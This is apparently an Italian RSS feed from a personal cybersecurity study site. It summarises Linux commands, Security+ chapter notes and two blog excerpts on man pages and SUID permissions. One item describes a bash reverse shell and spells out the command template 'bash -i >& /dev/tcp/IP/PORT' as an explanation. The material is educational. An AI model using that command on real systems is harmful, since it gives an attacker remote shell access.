<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>System on u-random</title><link>https://u-random.dev/tags/system/</link><description>Recent content in System on u-random</description><generator>Hugo -- gohugo.io</generator><language>it-it</language><lastBuildDate>Thu, 04 Jun 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://u-random.dev/tags/system/index.xml" rel="self" type="application/rss+xml"/><item><title>iptables - Linux Packet Filtering</title><link>https://u-random.dev/comandi/iptables/</link><pubDate>Thu, 04 Jun 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/iptables/</guid><description>Firewall nativo del kernel Linux. Gestisce il traffico di rete tramite chain (INPUT, OUTPUT, FORWARD) e tabelle (filter, nat, mangle). UFW e nftables sono frontend/successori.</description></item><item><title>Cap 05 - Securing Hosts and Data</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-05-securing-hosts-and-data/</link><pubDate>Fri, 29 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-05-securing-hosts-and-data/</guid><description>Sette superfici di attacco in un capitolo: virtualizzazione (VM Escape, VM Sprawl, container), hardening endpoint (TPM, HSM, UEFI Secure Boot, patch, baseline), protezione dati (at rest/transit/in use, DLP, FDE, database encryption), cloud (SaaS/PaaS/IaaS shared responsibility, CASB, SWG, IaC, SDN, edge/fog), mobile (BYOD/COPE/CYOD, MDM, jailbreak, sideloading), IoT e sistemi embedded (SoC, RTOS, vincoli), ICS/SCADA (CIA invertita, air-gap, Stuxnet). Cap 5 Gibson SY0-701.</description></item><item><title>Cap 3 - Network Technologies and Security Architecture</title><link>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-03-security-architecture/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/certificazioni/security-plus/libro/cap-03-security-architecture/</guid><description>OSI model, protocolli base (TCP/UDP/IP/ICMP/ARP/DNS/DHCP/NTP), protocolli sicuri vs insicuri, SSL/TLS, firewall (stateless/stateful/WAF/NGFW), screened subnet, Zero Trust, proxy, NAT, VLAN, NAC, UTM, SASE, Group Policy, GDLP, SPF/DKIM/DMARC. Cap 3 Gibson SY0-701.</description></item><item><title>Bash Reverse Shell - Anatomia del comando</title><link>https://u-random.dev/concetti/bash-reverse-shell/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-reverse-shell/</guid><description>Analisi del comando bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.</description></item><item><title>Kernel e Syscall - User Space vs Kernel Space</title><link>https://u-random.dev/concetti/kernel-syscall/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/kernel-syscall/</guid><description>Il kernel è il nucleo del sistema operativo. Le syscall sono l'interfaccia tra programmi utente e kernel. Architetture diverse (ARM64, x86_64) hanno numeri di syscall diversi.</description></item><item><title>Operational Plans - DRP, IRP, BCP, Change Management</title><link>https://u-random.dev/concetti/operational-plans/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/operational-plans/</guid><description>Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.</description></item><item><title>Risk Management - Termini chiave</title><link>https://u-random.dev/concetti/risk-management-terms/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/risk-management-terms/</guid><description>Distinzione tra risk register, risk tolerance, risk transfer e risk analysis. Termini D5 Security+ che escono spesso nelle domande.</description></item><item><title>Glossario Inglese - Parole che scordo</title><link>https://u-random.dev/dump/glossari/glossario-inglese/</link><pubDate>Thu, 07 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/glossari/glossario-inglese/</guid><description>Dizionario personale di termini inglesi tecnici e non che ricorrono nei testi Security+ e BTL1. Aggiornato durante le sessioni di ripasso.</description></item><item><title>iptables - Netfilter firewall Linux</title><link>https://u-random.dev/concetti/iptables/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/iptables/</guid><description>Motore firewall del kernel Linux basato su Netfilter. Organizza le regole in chain (INPUT, OUTPUT, FORWARD). UFW è un frontend che traduce comandi semplici in regole iptables.</description></item><item><title>ufw - Uncomplicated Firewall</title><link>https://u-random.dev/comandi/ufw/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ufw/</guid><description>Frontend semplificato per iptables su Ubuntu/Debian. Gestisce regole firewall in entrata e uscita con comandi leggibili. Default policy: nega tutto il traffico in entrata quando abilitato.</description></item><item><title>file-descriptor</title><link>https://u-random.dev/concetti/file-descriptor/</link><pubDate>Thu, 23 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/file-descriptor/</guid><description>I tre canali standard aperti in ogni processo Unix: stdin (0), stdout (1), stderr (2). Fondamentali per capire pipe, redirezione e comportamento dei tool da terminale.</description></item><item><title>Architettura di Wazuh SIEM/XDR</title><link>https://u-random.dev/concetti/wazuh-architecture/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/wazuh-architecture/</guid><description>Analisi dei componenti core di Wazuh: Agent, Manager, Indexer e Dashboard. Funzionamento del flusso di telemetria.</description></item><item><title>lsof - list open files</title><link>https://u-random.dev/comandi/lsof/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/lsof/</guid><description>Elenca tutti i file aperti dal sistema. Fondamentale in incident response per trovare processi sospetti, connessioni anomale e file nascosti (deleted).</description></item><item><title>Rootkit - Il malware invisibile</title><link>https://u-random.dev/concetti/rootkit/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rootkit/</guid><description>Set di strumenti malevoli progettati per nascondere processi, file e connessioni di rete, spesso operando a livello di Kernel.</description></item><item><title>Glossario Cyber &amp; SOC</title><link>https://u-random.dev/dump/glossari/glossario-cyber/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/dump/glossari/glossario-cyber/</guid><description>Dizionario centrale degli acronimi e dei termini tecnici incontrati durante il percorso da Developer a SOC Specialist.</description></item><item><title>Investigazione Incidenti Linux - Cheat Sheet</title><link>https://u-random.dev/comandi/investigazione-linux/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/investigazione-linux/</guid><description>Comandi essenziali per l'identificazione di anomalie, processi malevoli e connessioni sospette su sistemi UNIX/Linux.</description></item><item><title>Investigazione Incidenti Windows - Cheat Sheet</title><link>https://u-random.dev/comandi/investigazione-windows/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/investigazione-windows/</guid><description>Comandi e strumenti essenziali per rilevare anomalie, persistenza e account sospetti in ambiente Windows.</description></item><item><title>/etc/network/interfaces - configurazione rete Debian/Kali</title><link>https://u-random.dev/comandi/interfaces/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/interfaces/</guid><description>File di configurazione rete su Debian e derivate (Kali). Definisce interfacce, IP statico o DHCP, gateway. Letto all'avvio dal servizio networking.</description></item><item><title>Command Chaining e Grouping</title><link>https://u-random.dev/concetti/command-chaining/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-chaining/</guid><description>Metodi per concatenare piu' comandi in un'unica riga di comando e gestire il flusso dell'output.</description></item><item><title>I Confini della Visibilità: Pubblico vs Privato</title><link>https://u-random.dev/concetti/confini-visibilita-web/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/confini-visibilita-web/</guid><description>Analisi dei tre pilastri (Document Root, Permessi, Configurazione) che determinano cosa e' esposto sul web e come i container aggiungono un ulteriore strato di isolamento.</description></item><item><title>Alternative a man (Cheatsheet)</title><link>https://u-random.dev/concetti/cheatsheet-alternatives/</link><pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cheatsheet-alternatives/</guid><description>Panoramica delle risorse alternative ai manuali ufficiali (man) per consultare rapidamente esempi pratici di comandi CLI.</description></item><item><title>sysctl - configure kernel parameters at runtime</title><link>https://u-random.dev/comandi/sysctl/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sysctl/</guid><description>Legge e modifica parametri del kernel Linux a runtime senza riavviare. Usato per abilitare IP forwarding, disabilitare ICMP redirect, e configurare parametri di rete e sicurezza.</description></item><item><title>TCP vs UDP - Protocolli di Trasporto</title><link>https://u-random.dev/concetti/tcp-udp/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-udp/</guid><description>TCP e UDP sono i due protocolli di trasporto al livello 4 dello stack OSI. TCP garantisce consegna ordinata con handshake e conferme. UDP e' senza connessione - veloce ma senza garanzie.</description></item><item><title>POSIX - Portable Operating System Interface</title><link>https://u-random.dev/concetti/posix/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/posix/</guid><description>POSIX (Portable Operating System Interface) e' uno standard IEEE che definisce il comportamento di shell, comandi e chiamate di sistema su Unix-like. Garantisce portabilita' degli script tra bash, zsh, sh e dash.</description></item><item><title>Shebang - #!</title><link>https://u-random.dev/concetti/shebang/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shebang/</guid><description>Lo shebang (#!) e' la sequenza nei primi due byte di uno script che dice al kernel quale interprete usare. Senza shebang lo script viene eseguito dalla shell corrente - comportamento non portabile.</description></item><item><title>Shell - confronto e differenze</title><link>https://u-random.dev/concetti/shell-comparison/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-comparison/</guid><description>Le shell Unix sono interpreti di comandi che implementano POSIX come contratto minimo comune. sh e dash sono minimali e veloci, bash aggiunge estensioni comode, zsh aggiunge ancora di piu', fish rompe la compatibilita' POSIX per una sintassi piu' pulita.</description></item><item><title>Compressione e Archivi - gzip, bzip2, zip, tar</title><link>https://u-random.dev/comandi/compressione-arichivazione/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/compressione-arichivazione/</guid><description>Guida unificata a gzip, bzip2, zip e tar su Linux. Copre compressione singoli file, archiviazione multi-file, formato tar.gz, e uso forense per analisi di archivi sospetti.</description></item><item><title>ip - show / manipulate routing and interfaces</title><link>https://u-random.dev/comandi/ip/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ip/</guid><description>Gestisce interfacce di rete, indirizzi IP e tabella di routing. Sostituisce ifconfig (deprecato) e route. Comando fondamentale per diagnosticare e configurare la rete su Linux moderno.</description></item><item><title>locate - find files by name (database search)</title><link>https://u-random.dev/comandi/locate/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/locate/</guid><description>Cerca file nel filesystem tramite un database pre-costruito di pathname. Molto piu' veloce di find ma non trova file creati di recente — il database viene aggiornato di notte da updatedb.</description></item><item><title>rsync - remote file synchronization</title><link>https://u-random.dev/comandi/rsync/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/rsync/</guid><description>Sincronizza file e directory localmente o via rete SSH. Trasferisce solo le differenze rispetto alla destinazione — efficiente per backup incrementali e sincronizzazione remota.</description></item><item><title>ss - socket statistics</title><link>https://u-random.dev/comandi/ss/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ss/</guid><description>Mostra socket aperti e connessioni di rete. Sostituisce netstat (deprecato) — piu' veloce perche' legge direttamente dal kernel invece di parsare /proc. Fondamentale in incident response per vedere chi e' connesso e chi ascolta.</description></item><item><title>touch - change file timestamps</title><link>https://u-random.dev/comandi/touch/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/touch/</guid><description>Crea file vuoti o aggiorna i timestamp di file esistenti. Il nome viene da 'touch the timestamps'. Usato spesso per creare file segnaposto negli script.</description></item><item><title>traceroute - trace route to host</title><link>https://u-random.dev/comandi/traceroute/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/traceroute/</guid><description>Mostra il percorso che i pacchetti compiono dalla macchina locale a un host remoto, hop per hop. Sfrutta il TTL per scoprire ogni router intermedio e misurare la latenza per tratto.</description></item><item><title>xargs - build and execute command lines from stdin</title><link>https://u-random.dev/comandi/xargs/</link><pubDate>Fri, 27 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/xargs/</guid><description>Converte stdin in argomenti per un comando. Permette di passare l'output di un comando come argomenti a un altro — fondamentale per costruire pipeline su grandi liste di file.</description></item><item><title>apropos - search man pages</title><link>https://u-random.dev/comandi/apropos/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/apropos/</guid><description>Cerca una parola chiave nelle descrizioni di tutte le pagine di manuale. E' il Google interno di Linux — quando sai cosa vuoi fare ma non ricordi il nome del comando.</description></item><item><title>Bash Startup Files - file di avvio</title><link>https://u-random.dev/concetti/bash-startup-files/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-startup-files/</guid><description>I file di startup di bash determinano quali variabili, alias e funzioni vengono caricati all'avvio della shell. L'ordine di lettura dipende dal tipo di sessione: login shell o non-login shell.</description></item><item><title>dd - data duplicator (o disk destroyer)</title><link>https://u-random.dev/comandi/dd/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/dd/</guid><description>Copia dati a basso livello direttamente tra dispositivi o file, blocco per blocco. Usato per clonare dischi, scrivere immagini su SD/USB, creare backup raw e acquisire immagini forensi.</description></item><item><title>lsblk - list block devices</title><link>https://u-random.dev/comandi/lsblk/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/lsblk/</guid><description>Mostra l'albero dei dispositivi a blocchi — dischi, partizioni, LVM e relativi punti di mount. Comando moderno preferito a fdisk -l per una panoramica rapida della struttura del disco.</description></item><item><title>man - manual pages</title><link>https://u-random.dev/comandi/man/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/man/</guid><description>Visualizza la documentazione ufficiale di comandi, file di configurazione, chiamate di sistema e librerie. Organizzato in 8 sezioni — sapere quale sezione cercare e' la chiave per trovare subito quello che serve.</description></item><item><title>mount / umount - mount filesystem</title><link>https://u-random.dev/comandi/mount/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/mount/</guid><description>Aggancia un dispositivo di storage o filesystem a un punto dell'albero delle directory. Senza mount il dispositivo non e' accessibile. umount sgancia in modo sicuro prima di rimuovere fisicamente il device.</description></item><item><title>Offline. Non al buio.</title><link>https://u-random.dev/blog/offline-non-al-buio/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/offline-non-al-buio/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;code&gt;apropos parola&lt;/code&gt; trova il comando quando non ne conosci il nome&lt;/li&gt;
&lt;li&gt;&lt;code&gt;comando --help&lt;/code&gt; ti dà i flag in cinque secondi senza uscire dal terminale&lt;/li&gt;
&lt;li&gt;&lt;code&gt;man comando&lt;/code&gt; è il manuale completo, navigabile con &lt;code&gt;/parola&lt;/code&gt; per cercare&lt;/li&gt;
&lt;li&gt;&lt;code&gt;whatis comando&lt;/code&gt; ti dice in una riga cosa fa qualcosa che hai trovato nei log&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; ls&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; 5 passwd&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; -k password&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/man/" &gt;man&lt;/a&gt; -f passwd&lt;/li&gt;
&lt;li&gt;apropos permission&lt;/li&gt;
&lt;li&gt;apropos -r &amp;quot;^ssh&amp;quot;&lt;/li&gt;
&lt;li&gt;whatis find&lt;/li&gt;
&lt;li&gt;tar --help&lt;/li&gt;
&lt;li&gt;tar --help | grep extract&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

&lt;p&gt;&lt;figure&gt;&lt;img
 class="my-0 rounded-md"
 loading="lazy"
 decoding="async"
 fetchpriority="auto"
 alt="Offline. Non al buio."
 width="1536"
 height="2752"
 src="https://u-random.dev/assets/offline-non-al-buio_hu_70342d2531d28f5e.webp"
 srcset="https://u-random.dev/assets/offline-non-al-buio_hu_70342d2531d28f5e.webp 800w, https://u-random.dev/assets/offline-non-al-buio_hu_61c1e927da7b19e6.webp 1280w"
 sizes="(min-width: 768px) 50vw, 65vw"
 data-zoom-src="https://u-random.dev/assets/offline-non-al-buio.webp"&gt;&lt;/figure&gt;
&lt;/p&gt;</description></item><item><title>sha256sum - SHA-256 checksum</title><link>https://u-random.dev/comandi/sha256sum/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sha256sum/</guid><description>Calcola e verifica hash SHA-256 di file. Usato per verificare l'integrita' di download, immagini ISO, copie forensi e rilevare modifiche non autorizzate ai file.</description></item><item><title>journald - systemd-journald</title><link>https://u-random.dev/concetti/journald/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/journald/</guid><description>systemd-journald e' il demone che raccoglie e indicizza tutti i log di sistema in un database binario strutturato. A differenza di auth.log, usa FSS per rendere le modifiche rilevabili. Si legge con journalctl.</description></item><item><title>PAM - Pluggable Authentication Modules</title><link>https://u-random.dev/concetti/pam/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/pam/</guid><description>PAM (Pluggable Authentication Modules) e' il sistema di autenticazione modulare di Linux. Ogni servizio delega l'autenticazione a PAM che esegue una catena di moduli configurabili in /etc/pam.d/.</description></item><item><title>alias - create command alias</title><link>https://u-random.dev/comandi/alias/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/alias/</guid><description>Crea scorciatoie per comandi lunghi o complessi. Gli alias temporanei durano solo la sessione corrente, quelli permanenti vanno in ~/.bashrc o ~/.zshrc.</description></item><item><title>export - export variable to environment</title><link>https://u-random.dev/comandi/export/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/export/</guid><description>Esporta variabili shell nell'ambiente, rendendole visibili ai processi figli. Fondamentale per PATH, EDITOR e variabili di configurazione che devono essere ereditate.</description></item><item><title>jobs / fg / bg - gestione job shell</title><link>https://u-random.dev/comandi/jobs-fg-bg/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/jobs-fg-bg/</guid><description>Gestione dei job in foreground e background nella shell. jobs elenca i processi sospesi o in background, fg li riporta in primo piano, bg li riprende senza occupare il terminale.</description></item><item><title>kill - send signal to process</title><link>https://u-random.dev/comandi/kill/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/kill/</guid><description>Invia segnali ai processi tramite PID. SIGTERM chiede una chiusura pulita, SIGKILL forza la terminazione immediata senza possibilita' di essere ignorata.</description></item><item><title>Linux Processes - processi</title><link>https://u-random.dev/concetti/linux-processes/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-processes/</guid><description>Un processo e' un programma in esecuzione con PID univoco, spazio di memoria isolato e stato. Il kernel crea l'illusione del multitasking switching rapidamente tra processi in coda CPU.</description></item><item><title>netplan - network-defense configuration tool</title><link>https://u-random.dev/comandi/netplan/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/netplan/</guid><description>Tool di configurazione di rete su Ubuntu moderno. Legge file YAML in /etc/netplan/ e genera la configurazione per il backend di rete. Usato per assegnare IP statici alle VM di laboratorio.</description></item><item><title>printenv - print environment</title><link>https://u-random.dev/comandi/printenv/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/printenv/</guid><description>Mostra le variabili d'ambiente esportate, visibili ai processi figli. A differenza di set, non mostra variabili shell locali ne' funzioni bash.</description></item><item><title>ps - process status</title><link>https://u-random.dev/comandi/ps/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/ps/</guid><description>Mostra uno snapshot dei processi in esecuzione con PID, utente, CPU e memoria. Fondamentale in incident response per identificare processi sospetti.</description></item><item><title>Shell Environment - ambiente shell</title><link>https://u-random.dev/concetti/shell-environment/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-environment/</guid><description>L'ambiente shell e' l'insieme di variabili d'ambiente ereditate dai processi figli. Distingue variabili locali (solo shell corrente) da variabili d'ambiente (esportate, visibili ai figli).</description></item><item><title>vim - Vi IMproved</title><link>https://u-random.dev/comandi/vim/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/vim/</guid><description>Editor di testo modale a riga di comando. Tre modalita' principali: Normal (navigazione e comandi), Insert (scrittura), Visual (selezione). Presente su tutti i sistemi Unix — sapere aprire e chiudere un file e' requisito minimo.</description></item><item><title>Etc Directory Purpose</title><link>https://u-random.dev/concetti/etc-directory-purpose/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/etc-directory-purpose/</guid><description>La directory /etc/ contiene i file di configurazione globali del sistema operativo. Include i database critici per la gestione di utenti, gruppi e privilegi.</description></item><item><title>history</title><link>https://u-random.dev/comandi/history/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/history/</guid><description>Mostra la lista dei comandi eseguiti nella sessione corrente e in quelle precedenti. Permette di richiamare, cercare e riutilizzare comandi senza riscriverli.</description></item><item><title>su - substitute user</title><link>https://u-random.dev/comandi/su/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/su/</guid><description>Esegue una shell come un altro utente. Con il flag &lt;code&gt;-&lt;/code&gt; simula un login completo caricando l'ambiente dell'utente target. Lascia tracce diverse in auth.log rispetto a sudo.</description></item><item><title>sudo - superuser do</title><link>https://u-random.dev/comandi/sudo/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/sudo/</guid><description>Esegue un singolo comando con i privilegi di un altro utente (default: root). A differenza di su, usa la password dell'utente corrente e ogni azione e' tracciata in auth.log.</description></item><item><title>User Management - gestione utenti e gruppi</title><link>https://u-random.dev/comandi/user-management/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/user-management/</guid><description>Comandi per creare, modificare ed eliminare utenti e gruppi su Linux. Include adduser, usermod, userdel, groupadd, groupdel, passwd, chown, chgrp e lastlog.</description></item><item><title>more</title><link>https://u-random.dev/comandi/more/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/more/</guid><description>Pager — mostra un file una schermata alla volta. Se il contenuto entra in una schermata esce subito. Se non entra va in modalità interattiva. Usato come vettore di escape in Bandit 25.</description></item><item><title>chmod - change mode</title><link>https://u-random.dev/comandi/chmod/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/chmod/</guid><description>Modifica i permessi di accesso di file e directory. Supporta notazione ottale (stato finale esatto) e simbolica (modifica singolo bit). Fondamentale per il principio del minimo privilegio.</description></item><item><title>tmux</title><link>https://u-random.dev/comandi/tmux/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/comandi/tmux/</guid><description>Terminal multiplexer — permette di avere piu finestre e pannelli in un solo terminale, e di lasciare sessioni attive in background anche dopo aver chiuso la connessione SSH.</description></item><item><title>Chi Sei per il Kernel</title><link>https://u-random.dev/blog/chi-sei-per-il-kernel/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/blog/chi-sei-per-il-kernel/</guid><description>&lt;p&gt;


&lt;/p&gt;
&lt;div style="border-left:3px solid #6366f1;background:rgba(99,102,241,0.06);padding:12px 16px;border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;div style="font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#6366f1;text-transform:uppercase;margin-bottom:6px;"&gt;TL;DR&lt;/div&gt;
 &lt;div style="font-size:0.95rem;line-height:1.6;"&gt;&lt;ul&gt;
&lt;li&gt;Linux non lavora con nomi utente - lavora con numeri: UID e GID&lt;/li&gt;
&lt;li&gt;Ogni file ha tre livelli di permessi: owner, group, others&lt;/li&gt;
&lt;li&gt;Il bit SUID cambia le regole: il processo gira con i privilegi del proprietario del file, non di chi lo esegue&lt;/li&gt;
&lt;li&gt;&lt;code&gt;find / -perm -4000&lt;/code&gt; trova tutti i binari SUID del sistema - un'occhiata vale sempre&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;

&lt;details style="border-left:3px solid #10b981;background:rgba(16,185,129,0.06);border-radius:0 6px 6px 0;margin:1.5rem 0;"&gt;
 &lt;summary style="padding:10px 16px;font-size:0.7rem;font-weight:800;letter-spacing:0.1em;color:#10b981;text-transform:uppercase;cursor:pointer;list-style:none;display:flex;align-items:center;gap:8px;"&gt;
 &lt;span style="font-size:0.65rem;transition:transform 0.2s;"&gt;▶&lt;/span&gt; $ history
 &lt;/summary&gt;
 &lt;div style="padding:4px 16px 12px;font-size:0.92rem;line-height:1.7;font-family:'JetBrains Mono','Fira Code',monospace;"&gt;&lt;ul&gt;
&lt;li&gt;id&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/ls/" &gt;ls&lt;/a&gt; -la /usr/bin/passwd&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; / -perm -4000 -type f 2&amp;gt;/dev/null&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/chmod/" &gt;chmod&lt;/a&gt; u+s /path/to/file&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/chmod/" &gt;chmod&lt;/a&gt; u-s /path/to/file&lt;/li&gt;
&lt;li&gt;&lt;a href="https://u-random.dev/comandi/find/" &gt;find&lt;/a&gt; / -perm -4000 -type f 2&amp;gt;/dev/null | &lt;a href="https://u-random.dev/comandi/grep/" &gt;grep&lt;/a&gt; -v -E &amp;quot;^/(usr/bin|usr/sbin|bin|sbin|usr/lib)&amp;quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/details&gt;

